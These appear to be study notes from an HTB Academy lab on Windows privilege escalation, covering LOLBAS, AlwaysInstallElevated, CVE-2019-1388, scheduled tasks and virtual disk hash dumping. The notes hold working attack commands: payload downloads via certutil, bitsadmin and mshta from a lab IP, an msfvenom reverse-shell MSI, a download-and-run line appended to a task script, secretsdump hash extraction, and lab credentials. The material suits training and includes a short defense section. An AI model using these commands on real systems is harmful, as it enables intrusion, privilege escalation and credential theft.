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Miscellaneous Techniques

🎯 Overview

Miscellaneous techniques encompass LOLBAS exploitation, policy misconfigurations, CVE-specific vulnerabilities, scheduled task abuse, and virtual disk mounting for hash extraction. These methods provide alternative privilege escalation vectors when standard techniques fail.

🏠 Living Off The Land Binaries (LOLBAS)

LOLBAS Concept

# LOLBAS characteristics:
- Microsoft-signed binaries/scripts/libraries
- Native to OS or downloadable from Microsoft
- Unexpected functionality useful for attackers
- Bypass security controls via trusted processes

Common LOLBAS Functions

# Attack capabilities:
- Code execution & compilation
- File transfers & encoding
- Persistence mechanisms
- UAC bypass techniques
- Credential theft & dumping
- Process memory dumping
- DLL hijacking & evasion

Certutil File Transfer

# Download files with certutil:
certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat

# Base64 encoding:
certutil -encode file1 encodedfile

# Base64 decoding:
certutil -decode encodedfile file2

# Result: File transfer without traditional download tools

Rundll32 DLL Execution

# Execute DLL files:
rundll32.exe user32.dll,LockWorkStation
rundll32.exe shell32.dll,ShellExec_RunDLL cmd.exe

# Remote DLL execution:
rundll32.exe \\<ip>\share\malicious.dll,EntryPoint

🔺 AlwaysInstallElevated Exploitation

Policy Configuration

# Group Policy locations:
Computer Configuration\Administrative Templates\Windows Components\Windows Installer
User Configuration\Administrative Templates\Windows Components\Windows Installer

# Setting: "Always install with elevated privileges" = Enabled

Registry Enumeration

# Check both registry locations:
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

# Both should show:
AlwaysInstallElevated    REG_DWORD    0x1

MSI Payload Generation

# Generate malicious MSI with msfvenom:
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi

# Payload details:
Platform: Windows x86
Payload size: 324 bytes
Final MSI size: 159744 bytes

MSI Execution

# Execute MSI with elevated privileges:
msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart

# Flags:
/quiet    # Suppress user interface
/qn       # No user interaction
/norestart # Prevent automatic restart

# Result: Reverse shell as NT AUTHORITY\SYSTEM

🔓 CVE-2019-1388 (Windows Certificate Dialog)

Vulnerability Details

# Affected components:
- Windows Certificate Dialog UAC mechanism
- Certificate with OID 1.3.6.1.4.1.311.2.1.10 (SpcSpAgencyInfo)
- Vulnerable binary: hhupd.exe (old Microsoft-signed)

# Vulnerability: Hyperlink in certificate opens browser as SYSTEM

Exploitation Steps

# 1. Right-click hhupd.exe > Run as administrator
# 2. Click "Show information about the publisher's certificate"
# 3. Navigate to General tab
# 4. Click hyperlink in "Issued by" field
# 5. Browser opens as NT AUTHORITY\SYSTEM
# 6. Right-click webpage > View page source
# 7. Right-click source > Save as
# 8. Type in Save As dialog: c:\windows\system32\cmd.exe
# 9. Press Enter = CMD as SYSTEM

Vulnerable Versions

# Patched: November 2019
# Check for vulnerable systems:
- Windows Server 2008/2012/2016/2019 (pre-patch)
- Windows 7/8/10 (pre-November 2019)
- Legacy systems without updates

📅 Scheduled Task Enumeration

Basic Task Enumeration

# List scheduled tasks:
schtasks /query /fo LIST /v

# PowerShell enumeration:
Get-ScheduledTask | select TaskName,State

# Filter for interesting tasks:
Get-ScheduledTask | where {$_.TaskName -notlike "*Microsoft*"} | select TaskName,State

Task Permission Analysis

# Check task directory permissions:
.\accesschk64.exe /accepteula -s -d C:\Windows\System32\Tasks

# Look for writable task directories:
C:\Scripts\                    # Custom script directories
C:\Windows\Tasks\              # Legacy task location
C:\ProgramData\*\Tasks\        # Application-specific tasks

Task Script Modification

# Check script permissions in task directories:
.\accesschk64.exe /accepteula -s -d C:\Scripts\

# Example output:
C:\Scripts
  RW BUILTIN\Users           # Writable by standard users!
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators

# Modify existing scripts:
echo "powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.3/shell.ps1')" >> C:\Scripts\backup.ps1

💿 Virtual Disk Mounting & Hash Extraction

Virtual Disk File Types

# Target file extensions:
.vhd     # Virtual Hard Disk (Hyper-V)
.vhdx    # Virtual Hard Disk v2 (Hyper-V)  
.vmdk    # Virtual Machine Disk (VMware)

# Common locations:
- Network backup shares
- Virtualization host storage
- Development environments
- System backup locations

Linux Mounting

# Mount VMDK files:
guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdk

# Mount VHD/VHDX files:
guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1

# Browse mounted filesystem:
ls /mnt/vmdk/Windows/System32/config/

Windows Mounting

# Right-click method:
1. Right-click .vhd/.vhdx file
2. Select "Mount"
3. Access as lettered drive

# PowerShell method:
Mount-VHD -Path "C:\backup\server.vhdx"

# Disk Management method:
1. Open Disk Management
2. Action > Attach VHD
3. Browse to file location

Hash Extraction from Virtual Disks

# Extract registry hives from mounted disk:
cp /mnt/vmdk/Windows/System32/config/SAM .
cp /mnt/vmdk/Windows/System32/config/SECURITY .
cp /mnt/vmdk/Windows/System32/config/SYSTEM .

# Extract password hashes:
secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL

# Example output:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

👤 User/Computer Description Field

Local User Description Enumeration

# Check user descriptions for passwords:
Get-LocalUser

# Example output with password in description:
Name            Enabled Description
----            ------- -----------
Administrator   True    Built-in account for administering the computer/domain
secsvc          True    Network scanner - do not change password
helpdesk        True    Password: Help123!

Computer Description Field

# Check computer description:
Get-WmiObject -Class Win32_OperatingSystem | select Description

# Example output:
Description
-----------
The most vulnerable box ever!

Active Directory Description Fields

# Domain user descriptions (if domain-joined):
net user <username> /domain
Get-ADUser -Identity <username> -Properties Description

🎯 HTB Academy Lab Solution

Lab Environment

# Access: RDP with htb-student:HTB_@cademy_stdnt!
# Objective: Find cleartext password for account on target host

Multi-Method Approach

# Method 1: User description field enumeration
Get-LocalUser

# Method 2: AlwaysInstallElevated check
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Method 3: Scheduled task script enumeration
Get-ScheduledTask | select TaskName,State
.\accesschk64.exe /accepteula -s -d C:\Scripts\

# Method 4: Virtual disk file search
dir /s *.vhd *.vhdx *.vmdk

# Expected result: Password found in user description or script files

🔄 Advanced Miscellaneous Techniques

File System Analysis Tools

# Snaffler for comprehensive file enumeration:
.\Snaffler.exe -s -o snaffler.log

# Target file types:
- Files with "pass" in filename
- KeePass database files (.kdbx)
- SSH keys (id_rsa, *.pem)
- Web.config files
- Virtual disk files (.vhd, .vhdx, .vmdk)

LOLBAS Exploitation Examples

# Bitsadmin file transfer:
bitsadmin /transfer myDownloadJob /download /priority normal http://10.10.14.3/shell.exe C:\temp\shell.exe

# Forfiles command execution:
forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe

# Mshta code execution:
mshta http://10.10.14.3/malicious.hta

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- LOLBAS binary usage outside normal context
- MSI installations by standard users
- Certificate dialog browser spawning
- Virtual disk mounting activities
- Scheduled task script modifications
- Unusual certutil/bitsadmin usage

Defensive Measures

# Security recommendations:
- Disable AlwaysInstallElevated policy
- Patch CVE-2019-1388 and similar vulnerabilities
- Monitor LOLBAS binary execution
- Secure scheduled task script permissions
- Restrict virtual disk file access
- Implement application allowlisting
- Regular privilege escalation assessments

💡 Key Takeaways

  1. LOLBAS binaries provide trusted execution paths for malicious activities
  2. AlwaysInstallElevated enables reliable privilege escalation via MSI
  3. CVE-2019-1388 demonstrates certificate dialog UAC bypass
  4. Scheduled tasks with weak permissions offer persistence opportunities
  5. Virtual disk files contain complete filesystem copies for offline analysis
  6. User descriptions sometimes contain cleartext passwords
  7. Multiple vectors increase success probability in hardened environments

Miscellaneous techniques exploit Windows features, policies, and file systems that may be overlooked during standard privilege escalation enumeration.